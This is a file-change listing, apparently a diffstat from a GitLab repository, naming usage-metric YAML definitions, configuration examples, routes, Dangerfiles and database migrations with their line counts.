-rw-r--r--config/metrics/counts_28d/20210216181751_i_quickactions_reopen_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181755_i_quickactions_shrug_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181758_i_quickactions_spend_subtract_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181802_i_quickactions_spend_add_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181806_i_quickactions_submit_review_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181809_i_quickactions_subscribe_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181813_i_quickactions_tableflip_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181817_i_quickactions_tag_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181821_i_quickactions_target_branch_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181824_i_quickactions_title_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181828_i_quickactions_todo_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181832_i_quickactions_unassign_specific_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181835_i_quickactions_unassign_all_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181839_i_quickactions_unassign_reviewer_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181843_i_quickactions_unlabel_specific_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181846_i_quickactions_unlabel_all_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181850_i_quickactions_unlock_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181854_i_quickactions_unsubscribe_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216181857_i_quickactions_weight_monthly.yml16
-rw-r--r--config/metrics/counts_28d/20210216181901_i_quickactions_wip_monthly.yml12
-rw-r--r--config/metrics/counts_28d/20210216181905_i_quickactions_zoom_monthly.yml8
-rw-r--r--config/metrics/counts_28d/20210216182136_i_testing_test_case_parsed_monthly.yml1
-rw-r--r--config/metrics/counts_28d/20210216182200_i_testing_metrics_report_artifact_uploaders_monthly.yml20
-rw-r--r--config/metrics/counts_28d/20210216182209_user_preferences_group_overview_security_dashboard.yml18
-rw-r--r--config/metrics/counts_28d/20210216183203_product_analytics_test_metrics_union.yml27
-rw-r--r--config/metrics/counts_28d/20210216183205_product_analytics_test_metrics_intersection.yml25
-rw-r--r--config/metrics/counts_28d/20210216183209_i_testing_paid_monthly_active_user_total.yml16
-rw-r--r--config/metrics/counts_28d/20210216184140_testing_total_unique_counts_monthly.yml3
-rw-r--r--config/metrics/counts_28d/20210216184803_quickactions_total_unique_counts_monthly.yml14
-rw-r--r--config/metrics/counts_28d/20210222041219_i_quickactions_invite_email_single_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210222041235_i_quickactions_invite_email_multiple_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210301102134_i_code_review_user_time_estimate_changed_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210301102204_i_code_review_user_time_spent_changed_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210301103859_i_code_review_user_mr_discussion_locked_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210301103925_i_code_review_user_mr_discussion_unlocked_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210301144228_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210302110520_i_code_review_user_milestone_changed_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210302110607_i_code_review_user_labels_changed_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210302114145_i_code_review_user_assignees_changed_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210302114219_i_code_review_user_reviewers_changed_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303150507_i_ecosystem_slack_service_issue_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303150654_i_ecosystem_slack_service_push_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303150912_i_ecosystem_slack_service_deployment_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303151609_i_ecosystem_slack_service_wiki_page_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303151831_i_ecosystem_slack_service_merge_request_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303151946_i_ecosystem_slack_service_note_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303152049_i_ecosystem_slack_service_tag_push_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303152144_i_ecosystem_slack_service_confidential_note_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210303152233_i_ecosystem_slack_service_confidential_issue_notification_monthly.yml2
-rw-r--r--config/metrics/counts_28d/20210409095855_users_expanding_secure_security_report_monthly.yml20
-rw-r--r--config/metrics/counts_28d/20210409100451_users_expanding_testing_code_quality_report_monthly.yml20
-rw-r--r--config/metrics/counts_28d/20210409100628_users_expanding_testing_accessibility_report_monthly.yml20
-rw-r--r--config/metrics/counts_28d/20210413205507_i_testing_summary_widget_total_monthly.yml20
-rw-r--r--config/metrics/counts_7d/20210201124931_g_project_management_issue_title_changed_weekly.yml3
-rw-r--r--config/metrics/counts_7d/20210216181306_g_project_management_issue_description_changed_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181310_g_project_management_issue_assignee_changed_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181313_g_project_management_issue_made_confidential_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181317_g_project_management_issue_made_visible_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181321_g_project_management_issue_created_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181324_g_project_management_issue_closed_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181328_g_project_management_issue_reopened_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181332_g_project_management_issue_label_changed_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181336_g_project_management_issue_milestone_changed_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181347_g_project_management_issue_cross_referenced_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181350_g_project_management_issue_moved_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181354_g_project_management_issue_related_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181358_g_project_management_issue_unrelated_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181401_g_project_management_issue_marked_as_duplicate_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181405_g_project_management_issue_locked_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181409_g_project_management_issue_unlocked_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181422_g_project_management_issue_designs_added_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181425_g_project_management_issue_designs_modified_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181429_g_project_management_issue_designs_removed_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210216181433_g_project_management_issue_due_date_changed_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181437_g_project_management_issue_time_estimate_changed_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181440_g_project_management_issue_time_spent_changed_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181444_g_project_management_issue_comment_added_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181448_g_project_management_issue_comment_edited_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181451_g_project_management_issue_comment_removed_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181459_g_project_management_issue_cloned_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181503_issues_edit_total_unique_counts_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181506_i_quickactions_approve_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181510_i_quickactions_assign_single_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181517_i_quickactions_assign_self_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181521_i_quickactions_assign_reviewer_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181525_i_quickactions_award_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181529_i_quickactions_board_move_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181540_i_quickactions_clone_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181543_i_quickactions_close_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181547_i_quickactions_confidential_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181551_i_quickactions_copy_metadata_merge_request_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181554_i_quickactions_copy_metadata_issue_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181558_i_quickactions_create_merge_request_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181602_i_quickactions_done_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181605_i_quickactions_draft_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181609_i_quickactions_due_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181613_i_quickactions_duplicate_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181620_i_quickactions_estimate_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181628_i_quickactions_label_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181631_i_quickactions_lock_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181635_i_quickactions_merge_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181639_i_quickactions_milestone_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181642_i_quickactions_move_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181657_i_quickactions_reassign_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181701_i_quickactions_reassign_reviewer_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181705_i_quickactions_rebase_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181708_i_quickactions_relabel_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181712_i_quickactions_relate_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181719_i_quickactions_remove_due_date_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181727_i_quickactions_remove_estimate_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181734_i_quickactions_remove_milestone_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181742_i_quickactions_remove_time_spent_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181745_i_quickactions_remove_zoom_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181749_i_quickactions_reopen_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181753_i_quickactions_shrug_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181756_i_quickactions_spend_subtract_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181800_i_quickactions_spend_add_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181804_i_quickactions_submit_review_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181808_i_quickactions_subscribe_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181811_i_quickactions_tableflip_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181815_i_quickactions_tag_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181819_i_quickactions_target_branch_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181822_i_quickactions_title_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181826_i_quickactions_todo_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181830_i_quickactions_unassign_specific_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181833_i_quickactions_unassign_all_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181837_i_quickactions_unassign_reviewer_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181841_i_quickactions_unlabel_specific_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181845_i_quickactions_unlabel_all_weekly.yml19
-rw-r--r--config/metrics/counts_7d/20210216181848_i_quickactions_unlock_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181852_i_quickactions_unsubscribe_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181859_i_quickactions_wip_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216181903_i_quickactions_zoom_weekly.yml18
-rw-r--r--config/metrics/counts_7d/20210216182134_i_testing_test_case_parsed_weekly.yml1
-rw-r--r--config/metrics/counts_7d/20210216182158_i_testing_metrics_report_artifact_uploaders_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210216183213_product_analytics_test_metrics_union.yml21
-rw-r--r--config/metrics/counts_7d/20210216183215_product_analytics_test_metrics_intersection.yml21
-rw-r--r--config/metrics/counts_7d/20210301144209_o_pipeline_authoring_unique_users_pushing_mr_ciconfigfile_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302103002_i_ecosystem_slack_service_issue_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302103539_i_code_review_user_time_estimate_changed_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302103615_i_code_review_user_time_spent_changed_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302103629_i_ecosystem_slack_service_push_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302103755_i_ecosystem_slack_service_deployment_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302103907_i_ecosystem_slack_service_wiki_page_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302104007_i_ecosystem_slack_service_merge_request_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302104047_i_ecosystem_slack_service_note_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302104144_i_ecosystem_slack_service_tag_push_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302104556_i_ecosystem_slack_service_confidential_note_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302104814_i_ecosystem_slack_service_confidential_issue_notification_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302105258_i_code_review_user_mr_discussion_unlocked_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302105318_i_code_review_user_mr_discussion_locked_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302110403_i_code_review_user_milestone_changed_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302110548_i_code_review_user_labels_changed_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302114202_i_code_review_user_assignees_changed_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210302114235_i_code_review_user_reviewers_changed_weekly.yml2
-rw-r--r--config/metrics/counts_7d/20210409095855_users_expanding_secure_security_report_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210409100451_users_expanding_testing_code_quality_report_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210409100628_users_expanding_testing_accessibility_report_weekly.yml20
-rw-r--r--config/metrics/counts_7d/20210413205507_i_testing_summary_widget_total_weekly.yml20
-rw-r--r--config/metrics/counts_all/20210216174829_smtp_server.yml19
-rw-r--r--config/metrics/counts_all/20210216175442_ingress_modsecurity_packets_processed.yml3
-rw-r--r--config/metrics/counts_all/20210216175444_ingress_modsecurity_packets_anomalous.yml3
-rw-r--r--config/metrics/counts_all/20210216175446_network_policy_forwards.yml3
-rw-r--r--config/metrics/counts_all/20210216175448_network_policy_drops.yml3
-rw-r--r--config/metrics/counts_all/20210216175450_ingress_modsecurity_logging.yml3
-rw-r--r--config/metrics/counts_all/20210216175452_ingress_modsecurity_blocking.yml3
-rw-r--r--config/metrics/counts_all/20210216175454_ingress_modsecurity_disabled.yml3
-rw-r--r--config/metrics/counts_all/20210216175456_ingress_modsecurity_not_installed.yml3
-rw-r--r--config/metrics/counts_all/20210216180246_web_ide_merge_requests.yml2
-rw-r--r--config/metrics/counts_all/20210216180922_duration_s.yml19
-rw-r--r--config/metrics/counts_all/20210216180924_failures.yml19
-rw-r--r--config/metrics/counts_all/20210216181102_issues.yml3
-rw-r--r--config/metrics/counts_all/20210216181104_label_lists.yml12
-rw-r--r--config/metrics/counts_all/20210216181106_milestone_lists.yml16
-rw-r--r--config/metrics/counts_all/20210216181108_milestones.yml12
-rw-r--r--config/metrics/counts_all/20210216181109_uploads.yml5
-rw-r--r--config/metrics/counts_all/20210216181111_labels.yml5
-rw-r--r--config/metrics/counts_all/20210216181113_notes.yml5
-rw-r--r--config/metrics/counts_all/20210216181115_issues.yml14
-rw-r--r--config/metrics/counts_all/20210216181117_notes.yml14
-rw-r--r--config/metrics/counts_all/20210216181119_projects.yml14
-rw-r--r--config/metrics/counts_all/20210216181121_todos.yml14
-rw-r--r--config/metrics/counts_all/20210216181135_label_lists.yml14
-rw-r--r--config/metrics/counts_all/20210216181137_milestone_lists.yml16
-rw-r--r--config/metrics/counts_all/20210216181205_confidential_epics.yml16
-rw-r--r--config/metrics/counts_all/20210216181206_epics.yml16
-rw-r--r--config/metrics/counts_all/20210216181210_issues_with_health_status.yml16
-rw-r--r--config/metrics/counts_all/20210216181252_boards.yml8
-rw-r--r--config/metrics/counts_all/20210216181254_projects.yml6
-rw-r--r--config/metrics/counts_all/20210216181256_todos.yml3
-rw-r--r--config/metrics/counts_all/20210216181258_jira_imports_total_imported_count.yml7
-rw-r--r--config/metrics/counts_all/20210216181259_jira_imports_projects_count.yml7
-rw-r--r--config/metrics/counts_all/20210216181301_jira_imports_total_imported_issues_count.yml7
-rw-r--r--config/metrics/counts_all/20210216182203_user_preferences_group_overview_details.yml18
-rw-r--r--config/metrics/counts_all/20210216182205_user_preferences_group_overview_security_dashboard.yml18
-rw-r--r--config/metrics/counts_all/20210216182207_user_preferences_group_overview_security_dashboard.yml17
-rw-r--r--config/metrics/license/20210204124938_recording_ce_finished_at.yml5
-rw-r--r--config/metrics/license/20210216175602_installation_type.yml4
-rw-r--r--config/metrics/objects_schemas/topology_schema.json43
-rw-r--r--config/metrics/schema.json6
-rw-r--r--config/metrics/settings/20210216174829_smtp_server.yml18
-rw-r--r--config/metrics/settings/20210216175459_ingress_modsecurity_enabled.yml5
-rw-r--r--config/metrics/settings/20210225045628_operating_system.yml2
-rw-r--r--config/metrics/settings/20210323120839_topology.yml21
-rw-r--r--config/redis.cache.yml.example4
-rw-r--r--config/redis.queues.yml.example4
-rw-r--r--config/redis.shared_state.yml.example4
-rw-r--r--config/resque.yml.example4
-rw-r--r--config/routes.rb8
-rw-r--r--config/routes/customers_dot.rb7
-rw-r--r--config/routes/group.rb2
-rw-r--r--config/routes/pipelines.rb1
-rw-r--r--config/routes/project.rb32
-rw-r--r--config/routes/repository.rb10
-rw-r--r--config/sidekiq_queues.yml14
-rw-r--r--config/unicorn.rb.example6
-rw-r--r--config/webpack.config.js9
-rw-r--r--config/webpack.vendor.config.js5
-rw-r--r--danger/changelog/Dangerfile32
-rw-r--r--danger/commit_messages/Dangerfile2
-rw-r--r--danger/datateam/Dangerfile15
-rw-r--r--danger/feature_flag/Dangerfile14
-rw-r--r--danger/pipeline/Dangerfile4
-rw-r--r--danger/product_intelligence/Dangerfile21
-rw-r--r--danger/roulette/Dangerfile26
-rw-r--r--danger/specs/Dangerfile6
-rw-r--r--data/whats_new/202008180003_13_01.yml6
-rw-r--r--data/whats_new/202009150001_13_03.yml2
-rw-r--r--data/whats_new/202011230001_13_06.yml4
-rw-r--r--data/whats_new/202012160001_13_07.yml2
-rw-r--r--data/whats_new/202103220001_13_10.yml6
-rw-r--r--data/whats_new/templates/YYYYMMDD0001_XX_YY.yml2
-rw-r--r--db/migrate/20200609212701_add_incident_settings_to_all_existing_projects.rb2
-rw-r--r--db/migrate/20200928233632_remove_terraform_state_verification_indexes.rb4
-rw-r--r--db/migrate/20201214032220_add_has_external_wiki_trigger.rb8
-rw-r--r--db/migrate/20201218194311_create_admin_notes.rb21
-rw-r--r--db/migrate/20210102164121_drop_temporary_index_on_ci_builds.rb2
-rw-r--r--db/migrate/20210106061254_add_unique_index_for_golang_packages.rb20
-rw-r--r--db/migrate/20210219211845_add_version_usage_data_id_to_raw_usage_data.rb9
-rw-r--r--db/migrate/20210223230600_update_rubygems_metadata_metadata.rb19
-rw-r--r--db/migrate/20210224161552_add_jira_issue_transition_automatic_to_jira_tracker_data.rb9
-rw-r--r--db/migrate/20210302025305_add_excluded_urls_and_request_headers_to_dast_site_profiles.rb17
-rw-r--r--db/migrate/20210305031822_create_dast_site_profile_variables.rb40
-rw-r--r--db/migrate/20210305180331_create_ci_unit_tests.rb31
-rw-r--r--db/migrate/20210305182740_add_projects_fk_to_ci_unit_tests.rb19
-rw-r--r--db/migrate/20210305182855_create_ci_unit_test_failures.rb24
-rw-r--r--db/migrate/20210305183904_add_ci_builds_fk_to_ci_unit_test_failures.rb19
-rw-r--r--db/migrate/20210308175224_change_namespace_settings_delayed_project_removal_null.rb14
-rw-r--r--db/migrate/20210308175225_add_lock_delayed_project_removal_to_namespace_settings.rb9
-rw-r--r--db/migrate/20210308175226_add_delayed_project_removal_to_application_settings.rb9
-rw-r--r--db/migrate/20210308175227_add_lock_delayed_project_removal_to_application_settings.rb9
-rw-r--r--db/migrate/20210309160106_add_admin_mode_to_application_setting.rb9
-rw-r--r--db/migrate/20210311022012_add_text_limits_to_dast_site_profiles.rb24
-rw-r--r--db/migrate/20210311120152_add_metrics_to_batched_background_migration_jobs.rb9
-rw-r--r--db/migrate/20210311120153_initialize_conversion_of_events_id_to_bigint.rb21
-rw-r--r--db/migrate/20210311120154_initialize_conversion_of_push_event_payloads_event_id_to_bigint.rb21
-rw-r--r--db/migrate/20210312140029_add_owner_and_id_index_on_active_ci_pipeline_schedules.rb18
-rw-r--r--db/migrate/20210312174321_add_enforced_git_check_to_saml_provider.rb13
-rw-r--r--db/migrate/20210312193532_add_resource_access_token_creation_allowed_to_namespace_settings.rb19
-rw-r--r--db/migrate/20210313045617_add_verification_state_and_started_at_to_snippet_repositories.rb12
-rw-r--r--db/migrate/20210313045845_add_verification_indexes_to_snippet_repositories.rb27
-rw-r--r--db/migrate/20210316094047_add_trial_extension_type_to_gitlab_subscription_histories.rb9
-rw-r--r--db/migrate/20210316094323_add_trial_extension_type_to_gitlab_subscriptions.rb21
-rw-r--r--db/migrate/20210316152500_add_index_ci_stages_on_pipeline_id_and_id.rb18
-rw-r--r--db/migrate/20210317035357_create_dast_profiles_pipelines.rb20
-rw-r--r--db/migrate/20210317100520_create_elastic_index_settings.rb23
-rw-r--r--db/migrate/20210317104301_create_in_product_marketing_emails.rb33
-rw-r--r--db/migrate/20210317105904_add_user_foreign_key_to_in_product_marketing_emails.rb19
-rw-r--r--db/migrate/20210317192943_add_expiry_notification_delivered_to_keys.rb9
-rw-r--r--db/migrate/20210318134427_delete_security_findings_without_uuid.rb25
-rw-r--r--db/migrate/20210322063407_add_dast_profile_id_fk_to_dast_profiles_pipelines.rb19
-rw-r--r--db/migrate/20210322063450_add_ci_pipeline_id_fk_to_dast_profiles_pipelines.rb19
-rw-r--r--db/migrate/20210322182751_add_index_to_keys_on_expires_at_and_expiry_notification_undelivered.rb19
-rw-r--r--db/migrate/20210323064751_add_namespace_traversal_ids_index.rb18
-rw-r--r--db/migrate/20210323155010_populate_dismissal_information_for_vulnerabilities.rb37
-rw-r--r--db/migrate/20210323182846_add_project_status_date_index_to_merge_requests.rb18
-rw-r--r--db/migrate/20210324112439_add_index_mirror_data_on_retry_next_execution_where_status.rb28
-rw-r--r--db/migrate/20210324131727_migrate_elastic_index_settings.rb31
-rw-r--r--db/migrate/20210325092215_add_not_valid_foreign_key_to_group_hooks.rb19
-rw-r--r--db/migrate/20210325113129_validate_foreign_key_on_service_hooks.rb17
-rw-r--r--db/migrate/20210325150837_add_verification_state_to_ci_pipeline_artifact.rb18
-rw-r--r--db/migrate/20210325151758_add_verification_failure_limit_to_ci_pipeline_artifact.rb19
-rw-r--r--db/migrate/20210325152011_add_verification_indexes_to_ci_pipeline_artifacts.rb27
-rw-r--r--db/migrate/20210326035553_add_index_for_project_deployments_with_environment_id_and_updated_at.rb19
-rw-r--r--db/migrate/20210326190903_create_vulnerability_finding_evidences.rb26
-rw-r--r--db/migrate/20210329095548_add_target_project_and_source_branch_index_to_merge_request.rb18
-rw-r--r--db/migrate/20210329191850_add_finding_signature_table.rb40
-rw-r--r--db/migrate/20210329192716_add_composite_index_to_award_emoji.rb18
-rw-r--r--db/migrate/20210330015805_add_cloud_to_licenses.rb9
-rw-r--r--db/migrate/20210331125111_add_default_target_project.rb17
-rw-r--r--db/migrate/20210331145548_add_index_for_last_deployment.rb18
-rw-r--r--db/migrate/20210331180118_remove_deprecated_index_from_award_emoji.rb19
-rw-r--r--db/migrate/20210401134157_add_index_to_pages_deployments.rb18
-rw-r--r--db/migrate/20210401134455_remove_index_mirror_data_on_next_execution_and_retry_count.rb30
-rw-r--r--db/migrate/20210401175134_add_before_expiry_notification_delivered_to_keys.rb9
-rw-r--r--db/migrate/20210401192808_add_index_to_keys_on_expires_at_and_before_expiry_notification_undelivered.rb19
-rw-r--r--db/migrate/20210406063442_create_namespaces_id_parent_id_partial_index.rb18
-rw-r--r--db/migrate/20210406140057_add_total_tuple_count_to_batched_migrations.rb13
-rw-r--r--db/migrate/20210407002511_add_type_to_dast_site_profile.rb7
-rw-r--r--db/migrate/20210409084242_create_index_on_notes_for_cherry_picked_merge_requests.rb18
-rw-r--r--db/migrate/20210411212813_add_clusters_integrations_prometheus.rb21
-rw-r--r--db/migrate/20210412132736_add_instance_url_to_jira_connect_installations.rb16
-rw-r--r--db/migrate/20210412132824_add_text_limit_to_jira_connect_installations_instance_url.rb17
-rw-r--r--db/migrate/20210412142223_add_user_index_on_spam_logs.rb17
-rw-r--r--db/migrate/20210413121101_add_created_at_web_hook_id_index_to_partitioned_web_hook_log.rb21
-rw-r--r--db/migrate/20210413123832_add_index_on_web_hook_id_to_partitioned_web_hook_log.rb21
-rw-r--r--db/migrate/20210414095944_add_index_services_on_project_and_type_where_inherit_null.rb17
-rw-r--r--db/migrate/20210414131600_add_external_pipeline_validation_to_application_setting.rb19
-rw-r--r--db/migrate/20210415142700_add_url_limit_to_pipeline_validation.rb17
-rw-r--r--db/migrate/20210415144538_remove_index_epics_on_group_id_from_epics.rb17
-rw-r--r--db/post_migrate/20190214112022_schedule_sync_issuables_state_id.rb4
-rw-r--r--db/post_migrate/20191105094625_set_report_type_for_vulnerabilities.rb2
-rw-r--r--db/post_migrate/20191114173624_set_resolved_state_on_vulnerabilities.rb2
-rw-r--r--db/post_migrate/20200305082754_remove_duplicate_labels_from_project.rb6
-rw-r--r--db/post_migrate/20200325162730_schedule_backfill_push_rules_id_in_projects.rb2
-rw-r--r--db/post_migrate/20200406102120_backfill_deployment_clusters_from_deployments.rb2
-rw-r--r--db/post_migrate/20200416111111_migrate_vulnerability_dismissals.rb2
-rw-r--r--db/post_migrate/20200716234259_remove_duplicate_labels_from_group.rb6
-rw-r--r--db/post_migrate/20200809221641_migrate_license_management_artifacts_to_license_scanning.rb2
-rw-r--r--db/post_migrate/20200811130433_create_missing_vulnerabilities_issue_links.rb4
-rw-r--r--db/post_migrate/20200831065705_ensure_target_project_id_is_filled.rb2
-rw-r--r--db/post_migrate/20200930144340_set_job_waiter_ttl.rb2
-rw-r--r--db/post_migrate/20201014142521_schedule_sync_blocking_issues_count.rb2
-rw-r--r--db/post_migrate/20201208175117_schedule_backfilling_artifact_expiry_migration.rb2
-rw-r--r--db/post_migrate/20210105030125_cleanup_projects_with_bad_has_external_wiki_data.rb6
-rw-r--r--db/post_migrate/20210115220610_schedule_artifact_expiry_backfill.rb6
-rw-r--r--db/post_migrate/20210210221006_cleanup_projects_with_bad_has_external_issue_tracker_data.rb6
-rw-r--r--db/post_migrate/20210224150506_reschedule_artifact_expiry_backfill.rb2
-rw-r--r--db/post_migrate/20210226120851_move_container_registry_enabled_to_project_features.rb5
-rw-r--r--db/post_migrate/20210226141517_dedup_issue_metrics.rb71
-rw-r--r--db/post_migrate/20210302150310_schedule_migrate_pages_to_zip_storage.rb36
-rw-r--r--db/post_migrate/20210311045138_set_traversal_ids_for_gitlab_org_group_staging.rb88
-rw-r--r--db/post_migrate/20210311045139_set_traversal_ids_for_gitlab_org_group_com.rb88
-rw-r--r--db/post_migrate/20210311093723_add_partial_index_on_ci_pipelines_by_cancelable_status_and_users.rb30
-rw-r--r--db/post_migrate/20210311120155_backfill_events_id_for_bigint_conversion.rb29
-rw-r--r--db/post_migrate/20210311120156_backfill_push_event_payload_event_id_for_bigint_conversion.rb30
-rw-r--r--db/post_migrate/20210317104032_set_iteration_cadence_automatic_to_false.rb17
-rw-r--r--db/post_migrate/20210317155207_validate_not_null_constraint_on_cluster_token_name.rb16
-rw-r--r--db/post_migrate/20210322115438_validate_not_null_constraint_on_gitlab_subscriptions_namespace_id.rb17
-rw-r--r--db/post_migrate/20210326121537_backfill_cleanup_for_partitioned_web_hook_logs.rb17
-rw-r--r--db/post_migrate/20210328214434_remove_temporary_index_from_vulnerabilities_table.rb18
-rw-r--r--db/post_migrate/20210329102724_add_new_trail_plans.rb41
-rw-r--r--db/post_migrate/20210330091751_remove_records_without_group_from_webhooks_table.rb30
-rw-r--r--db/post_migrate/20210330130420_drop_finding_fingerprint_table.rb40
-rw-r--r--db/post_migrate/20210331105335_drop_non_partitioned_audit_events.rb44
-rw-r--r--db/post_migrate/20210401131948_move_container_registry_enabled_to_project_features2.rb27
